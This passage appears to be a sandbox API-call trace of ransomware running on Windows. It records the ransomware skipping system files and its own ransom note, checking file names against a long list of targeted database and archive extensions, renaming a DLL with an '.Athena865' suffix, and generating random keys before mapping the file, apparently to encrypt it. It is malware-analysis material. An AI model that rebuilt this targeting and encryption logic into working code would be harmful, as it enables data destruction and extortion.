lstrlenW (lpString="sdf") returned 3 [0111.101] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0111.101] lstrlenW (lpString="sis") returned 3 [0111.101] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0111.101] lstrlenW (lpString="spq") returned 3 [0111.101] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0111.101] lstrlenW (lpString="te") returned 2 [0111.101] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0111.101] lstrlenW (lpString="teacher") returned 7 [0111.101] lstrcmpiW (lpString1="sps.dll", lpString2="teacher") returned -1 [0111.101] lstrlenW (lpString="tmd") returned 3 [0111.101] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0111.101] lstrlenW (lpString="tps") returned 3 [0111.101] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0111.101] lstrlenW (lpString="trc") returned 3 [0111.101] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0111.101] lstrlenW (lpString="trc") returned 3 [0111.101] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0111.101] lstrlenW (lpString="trm") returned 3 [0111.101] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0111.101] lstrlenW (lpString="udb") returned 3 [0111.102] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0111.102] lstrlenW (lpString="udl") returned 3 [0111.102] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0111.102] lstrlenW (lpString="usr") returned 3 [0111.102] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0111.102] lstrlenW (lpString="v12") returned 3 [0111.102] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0111.102] lstrlenW (lpString="vis") returned 3 [0111.102] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0111.102] lstrlenW (lpString="vpd") returned 3 [0111.102] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0111.102] lstrlenW (lpString="vvv") returned 3 [0111.102] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0111.102] lstrlenW (lpString="wdb") returned 3 [0111.102] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0111.102] lstrlenW (lpString="wmdb") returned 4 [0111.102] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0111.102] lstrlenW (lpString="wrk") returned 3 [0111.102] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0111.102] lstrlenW (lpString="xdb") returned 3 [0111.102] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0111.102] lstrlenW (lpString="xld") returned 3 [0111.102] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0111.102] lstrlenW (lpString="xmlff") returned 5 [0111.102] lstrcmpiW (lpString1="s.dll", lpString2="xmlff") returned -1 [0111.102] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll.Athena865") returned 73 [0111.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.athena865"), dwFlags=0x1) returned 1 [0111.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0111.104] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40448) returned 1 [0111.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0111.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0111.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0111.104] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0111.105] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.105] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.108] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa100, lpName=0x0) returned 0x17c [0111.109] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa100) returned 0x100000 [0111.120] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0111.120] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0111.120] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0111.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0111.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0111.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0111.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0111.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0111.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0111.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0111.121] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0111.122] CloseHandle (hObject=0x17c) returned 1 [0111.122] CloseHandle (hObject=0x154) returned 1 [0111.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0111.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0111.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0111.122] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0111.122] lstrcmpiW (lpString1="tabskb.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.122] lstrcmpiW (lpString1="tabskb.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.122] lstrcmpiW (lpString1="tabskb.dll", lpString2=".") returned 1 [0111.122] lstrcmpiW (lpString1="tabskb.dll", lpString2="..") returned 1 [0111.122] lstrcmpiW (lpString1="tabskb.dll", lpString2="windows") returned -1 [0111.122] lstrcmpiW (lpString1="tabskb.dll", lpString2="bootmgr") returned 1 [0111.122] lstrcmpiW (lpString1="tabskb.dll", lpString2="temp") returned -1 [0111.123] lstrcmpiW (lpString1="tabskb.dll", lpString2="pagefile.sys") returned 1 [0111.123] lstrcmpiW (lpString1="tabskb.dll", lpString2="boot") returned 1 [0111.123] lstrcmpiW (lpString1="tabskb.dll", lpString2="ids.txt") returned 1 [0111.123] lstrcmpiW (lpString1="tabskb.dll", lpString2="ntuser.dat") returned 1 [0111.123] lstrcmpiW (lpString1="tabskb.dll", lpString2="perflogs") returned 1 [0111.123] lstrcmpiW (lpString1="tabskb.dll", lpString2="MSBuild") returned 1 [0111.123] lstrlenW (lpString="tabskb.dll") returned 10 [0111.123] lstrcpyW (in: lpString1=0x241e8ae, lpString2="tabskb.dll" | out: lpString1="tabskb.dll") returned="tabskb.dll" [0111.123] lstrlenW (lpString="tabskb.dll") returned 10 [0111.123] lstrlenW (lpString="Athena865") returned 9 [0111.123] lstrcmpiW (lpString1="abskb.dll", lpString2="Athena865") returned -1 [0111.123] lstrlenW (lpString=".dll") returned 4 [0111.123] lstrcmpiW (lpString1="tabskb.dll", lpString2=".dll") returned 1 [0111.123] lstrlenW (lpString=".lnk") returned 4 [0111.123] lstrcmpiW (lpString1="tabskb.dll", lpString2=".lnk") returned 1 [0111.123] lstrlenW (lpString=".ini") returned 4 [0111.123] lstrcmpiW (lpString1="tabskb.dll", lpString2=".ini") returned 1 [0111.123] lstrlenW (lpString=".sys") returned 4 [0111.123] lstrcmpiW (lpString1="tabskb.dll", lpString2=".sys") returned 1 [0111.123] lstrlenW (lpString="tabskb.dll") returned 10 [0111.123] lstrlenW (lpString="bak") returned 3 [0111.123] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0111.123] lstrlenW (lpString="ba_") returned 3 [0111.123] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0111.123] lstrlenW (lpString="dbb") returned 3 [0111.123] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0111.123] lstrlenW (lpString="vmdk") returned 4 [0111.123] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0111.123] lstrlenW (lpString="rar") returned 3 [0111.124] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0111.124] lstrlenW (lpString="zip") returned 3 [0111.124] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0111.124] lstrlenW (lpString="tgz") returned 3 [0111.124] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0111.124] lstrlenW (lpString="vbox") returned 4 [0111.124] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0111.124] lstrlenW (lpString="vdi") returned 3 [0111.124] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0111.124] lstrlenW (lpString="vhd") returned 3 [0111.124] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0111.124] lstrlenW (lpString="vhdx") returned 4 [0111.124] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0111.124] lstrlenW (lpString="avhd") returned 4 [0111.124] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0111.124] lstrlenW (lpString="db") returned 2 [0111.124] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0111.124] lstrlenW (lpString="db2") returned 3 [0111.124] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0111.124] lstrlenW (lpString="db3") returned 3 [0111.124] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0111.124] lstrlenW (lpString="dbf") returned 3 [0111.124] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0111.124] lstrlenW (lpString="mdf") returned 3 [0111.124] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0111.124] lstrlenW (lpString="mdb") returned 3 [0111.124] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0111.124] lstrlenW (lpString="sql") returned 3 [0111.124] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0111.125] lstrlenW (lpString="sqlite") returned 6 [0111.125] lstrcmpiW (lpString1="kb.dll", lpString2="sqlite") returned -1 [0111.125] lstrlenW (lpString="sqlite3") returned 7 [0111.125] lstrcmpiW (lpString1="skb.dll", lpString2="sqlite3") returned -1 [0111.125] lstrlenW (lpString="sqlitedb") returned 8 [0111.125] lstrcmpiW (lpString1="bskb.dll", lpString2="sqlitedb") returned -1 [0111.125] lstrlenW (lpString="xml") returned 3 [0111.125] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0111.125] lstrlenW (lpString="$er") returned 3 [0111.125] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0111.125] lstrlenW (lpString="4dd") returned 3 [0111.125] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0111.125] lstrlenW (lpString="4dl") returned 3 [0111.125] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0111.125] lstrlenW (lpString="^^^") returned 3 [0111.125] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0111.125] lstrlenW (lpString="abs") returned 3 [0111.125] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0111.125] lstrlenW (lpString="abx") returned 3 [0111.125] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0111.125] lstrlenW (lpString="accdb") returned 5 [0111.125] lstrcmpiW (lpString1="b.dll", lpString2="accdb") returned 1 [0111.125] lstrlenW (lpString="accdc") returned 5 [0111.125] lstrcmpiW (lpString1="b.dll", lpString2="accdc") returned 1 [0111.125] lstrlenW (lpString="accde") returned 5 [0111.125] lstrcmpiW (lpString1="b.dll", lpString2="accde") returned 1 [0111.125] lstrlenW (lpString="accdr") returned 5 [0111.125] lstrcmpiW (lpString1="b.dll", lpString2="accdr") returned 1 [0111.125] lstrlenW (lpString="accdt") returned 5 [0111.126] lstrcmpiW (lpString1="b.dll", lpString2="accdt") returned 1 [0111.126] lstrlenW (lpString="accdw") returned 5 [0111.126] lstrcmpiW (lpString1="b.dll", lpString2="accdw") returned 1 [0111.126] lstrlenW (lpString="accft") returned 5 [0111.126] lstrcmpiW (lpString1="b.dll", lpString2="accft") returned 1 [0111.126] lstrlenW (lpString="adb") returned 3 [0111.126] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.126] lstrlenW (lpString="adb") returned 3 [0111.126] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.126] lstrlenW (lpString="ade") returned 3 [0111.126] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0111.126] lstrlenW (lpString="adf") returned 3 [0111.126] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0111.126] lstrlenW (lpString="adn") returned 3 [0111.126] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0111.126] lstrlenW (lpString="adp") returned 3 [0111.126] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0111.126] lstrlenW (lpString="alf") returned 3 [0111.126] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0111.126] lstrlenW (lpString="ask") returned 3 [0111.126] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0111.126] lstrlenW (lpString="btr") returned 3 [0111.126] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0111.126] lstrlenW (lpString="cat") returned 3 [0111.126] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0111.126] lstrlenW (lpString="cdb") returned 3 [0111.126] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0111.126] lstrlenW (lpString="ckp") returned 3 [0111.126] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0111.127] lstrlenW (lpString="cma") returned 3 [0111.127] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0111.127] lstrlenW (lpString="cpd") returned 3 [0111.127] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0111.127] lstrlenW (lpString="dacpac") returned 6 [0111.127] lstrcmpiW (lpString1="kb.dll", lpString2="dacpac") returned 1 [0111.127] lstrlenW (lpString="dad") returned 3 [0111.127] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0111.127] lstrlenW (lpString="dadiagrams") returned 10 [0111.127] lstrlenW (lpString="daschema") returned 8 [0111.127] lstrcmpiW (lpString1="bskb.dll", lpString2="daschema") returned -1 [0111.127] lstrlenW (lpString="db-journal") returned 10 [0111.127] lstrlenW (lpString="db-shm") returned 6 [0111.127] lstrcmpiW (lpString1="kb.dll", lpString2="db-shm") returned 1 [0111.127] lstrlenW (lpString="db-wal") returned 6 [0111.127] lstrcmpiW (lpString1="kb.dll", lpString2="db-wal") returned 1 [0111.127] lstrlenW (lpString="dbc") returned 3 [0111.127] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0111.127] lstrlenW (lpString="dbs") returned 3 [0111.127] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0111.127] lstrlenW (lpString="dbt") returned 3 [0111.127] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0111.127] lstrlenW (lpString="dbv") returned 3 [0111.127] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0111.127] lstrlenW (lpString="dbx") returned 3 [0111.127] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0111.127] lstrlenW (lpString="dcb") returned 3 [0111.127] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0111.128] lstrlenW (lpString="dct") returned 3 [0111.128] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0111.128] lstrlenW (lpString="dcx") returned 3 [0111.128] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0111.128] lstrlenW (lpString="ddl") returned 3 [0111.128] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0111.128] lstrlenW (lpString="dlis") returned 4 [0111.128] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0111.128] lstrlenW (lpString="dp1") returned 3 [0111.128] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0111.128] lstrlenW (lpString="dqy") returned 3 [0111.128] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0111.128] lstrlenW (lpString="dsk") returned 3 [0111.128] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0111.128] lstrlenW (lpString="dsn") returned 3 [0111.128] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0111.128] lstrlenW (lpString="dtsx") returned 4 [0111.128] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0111.128] lstrlenW (lpString="dxl") returned 3 [0111.128] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0111.128] lstrlenW (lpString="eco") returned 3 [0111.128] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0111.128] lstrlenW (lpString="ecx") returned 3 [0111.128] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0111.128] lstrlenW (lpString="edb") returned 3 [0111.128] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0111.128] lstrlenW (lpString="epim") returned 4 [0111.128] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0111.128] lstrlenW (lpString="fcd") returned 3 [0111.129] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0111.129] lstrlenW (lpString="fdb") returned 3 [0111.129] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0111.129] lstrlenW (lpString="fic") returned 3 [0111.129] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0111.129] lstrlenW (lpString="flexolibrary") returned 12 [0111.129] lstrlenW (lpString="fm5") returned 3 [0111.129] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0111.129] lstrlenW (lpString="fmp") returned 3 [0111.129] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0111.129] lstrlenW (lpString="fmp12") returned 5 [0111.129] lstrcmpiW (lpString1="b.dll", lpString2="fmp12") returned -1 [0111.129] lstrlenW (lpString="fmpsl") returned 5 [0111.129] lstrcmpiW (lpString1="b.dll", lpString2="fmpsl") returned -1 [0111.129] lstrlenW (lpString="fol") returned 3 [0111.129] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0111.129] lstrlenW (lpString="fp3") returned 3 [0111.129] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0111.129] lstrlenW (lpString="fp4") returned 3 [0111.129] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0111.129] lstrlenW (lpString="fp5") returned 3 [0111.129] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0111.129] lstrlenW (lpString="fp7") returned 3 [0111.129] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0111.129] lstrlenW (lpString="fpt") returned 3 [0111.129] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0111.129] lstrlenW (lpString="frm") returned 3 [0111.129] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0111.129] lstrlenW (lpString="gdb") returned 3 [0111.130] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0111.130] lstrlenW (lpString="gdb") returned 3 [0111.130] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0111.130] lstrlenW (lpString="grdb") returned 4 [0111.130] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0111.130] lstrlenW (lpString="gwi") returned 3 [0111.130] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0111.130] lstrlenW (lpString="hdb") returned 3 [0111.130] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0111.130] lstrlenW (lpString="his") returned 3 [0111.130] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0111.130] lstrlenW (lpString="ib") returned 2 [0111.130] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0111.130] lstrlenW (lpString="idb") returned 3 [0111.130] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0111.130] lstrlenW (lpString="ihx") returned 3 [0111.130] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0111.130] lstrlenW (lpString="itdb") returned 4 [0111.130] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0111.130] lstrlenW (lpString="itw") returned 3 [0111.130] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0111.130] lstrlenW (lpString="jet") returned 3 [0111.130] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0111.130] lstrlenW (lpString="jtx") returned 3 [0111.130] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0111.130] lstrlenW (lpString="kdb") returned 3 [0111.130] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0111.130] lstrlenW (lpString="kexi") returned 4 [0111.130] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0111.131] lstrlenW (lpString="kexic") returned 5 [0111.131] lstrcmpiW (lpString1="b.dll", lpString2="kexic") returned -1 [0111.131] lstrlenW (lpString="kexis") returned 5 [0111.131] lstrcmpiW (lpString1="b.dll", lpString2="kexis") returned -1 [0111.131] lstrlenW (lpString="lgc") returned 3 [0111.131] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0111.131] lstrlenW (lpString="lwx") returned 3 [0111.131] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0111.131] lstrlenW (lpString="maf") returned 3 [0111.131] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0111.131] lstrlenW (lpString="maq") returned 3 [0111.131] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0111.131] lstrlenW (lpString="mar") returned 3 [0111.131] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0111.131] lstrlenW (lpString="marshal") returned 7 [0111.131] lstrcmpiW (lpString1="skb.dll", lpString2="marshal") returned 1 [0111.131] lstrlenW (lpString="mas") returned 3 [0111.131] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0111.131] lstrlenW (lpString="mav") returned 3 [0111.131] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0111.131] lstrlenW (lpString="maw") returned 3 [0111.131] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0111.131] lstrlenW (lpString="mdbhtml") returned 7 [0111.131] lstrcmpiW (lpString1="skb.dll", lpString2="mdbhtml") returned 1 [0111.131] lstrlenW (lpString="mdn") returned 3 [0111.131] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0111.131] lstrlenW (lpString="mdt") returned 3 [0111.131] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0111.132] lstrlenW (lpString="mfd") returned 3 [0111.132] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0111.132] lstrlenW (lpString="mpd") returned 3 [0111.132] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0111.132] lstrlenW (lpString="mrg") returned 3 [0111.132] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0111.132] lstrlenW (lpString="mud") returned 3 [0111.132] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0111.132] lstrlenW (lpString="mwb") returned 3 [0111.132] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0111.132] lstrlenW (lpString="myd") returned 3 [0111.132] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0111.132] lstrlenW (lpString="ndf") returned 3 [0111.132] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0111.132] lstrlenW (lpString="nnt") returned 3 [0111.132] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0111.132] lstrlenW (lpString="nrmlib") returned 6 [0111.132] lstrcmpiW (lpString1="kb.dll", lpString2="nrmlib") returned -1 [0111.132] lstrlenW (lpString="ns2") returned 3 [0111.132] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0111.132] lstrlenW (lpString="ns3") returned 3 [0111.132] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0111.132] lstrlenW (lpString="ns4") returned 3 [0111.132] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0111.132] lstrlenW (lpString="nsf") returned 3 [0111.132] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0111.132] lstrlenW (lpString="nv") returned 2 [0111.132] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0111.132] lstrlenW (lpString="nv2") returned 3 [0111.133] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0111.133] lstrlenW (lpString="nwdb") returned 4 [0111.133] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0111.133] lstrlenW (lpString="nyf") returned 3 [0111.133] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0111.133] lstrlenW (lpString="odb") returned 3 [0111.133] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0111.133] lstrlenW (lpString="odb") returned 3 [0111.133] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0111.133] lstrlenW (lpString="oqy") returned 3 [0111.133] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0111.133] lstrlenW (lpString="ora") returned 3 [0111.133] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0111.133] lstrlenW (lpString="orx") returned 3 [0111.133] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0111.133] lstrlenW (lpString="owc") returned 3 [0111.133] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0111.133] lstrlenW (lpString="p96") returned 3 [0111.133] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0111.133] lstrlenW (lpString="p97") returned 3 [0111.133] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0111.133] lstrlenW (lpString="pan") returned 3 [0111.133] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0111.133] lstrlenW (lpString="pdb") returned 3 [0111.133] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0111.133] lstrlenW (lpString="pdm") returned 3 [0111.133] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0111.133] lstrlenW (lpString="pnz") returned 3 [0111.133] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0111.134] lstrlenW (lpString="qry") returned 3 [0111.134] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0111.134] lstrlenW (lpString="qvd") returned 3 [0111.134] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0111.134] lstrlenW (lpString="rbf") returned 3 [0111.134] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0111.134] lstrlenW (lpString="rctd") returned 4 [0111.134] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0111.134] lstrlenW (lpString="rod") returned 3 [0111.134] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0111.134] lstrlenW (lpString="rodx") returned 4 [0111.134] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0111.134] lstrlenW (lpString="rpd") returned 3 [0111.134] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0111.134] lstrlenW (lpString="rsd") returned 3 [0111.134] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0111.134] lstrlenW (lpString="sas7bdat") returned 8 [0111.134] lstrcmpiW 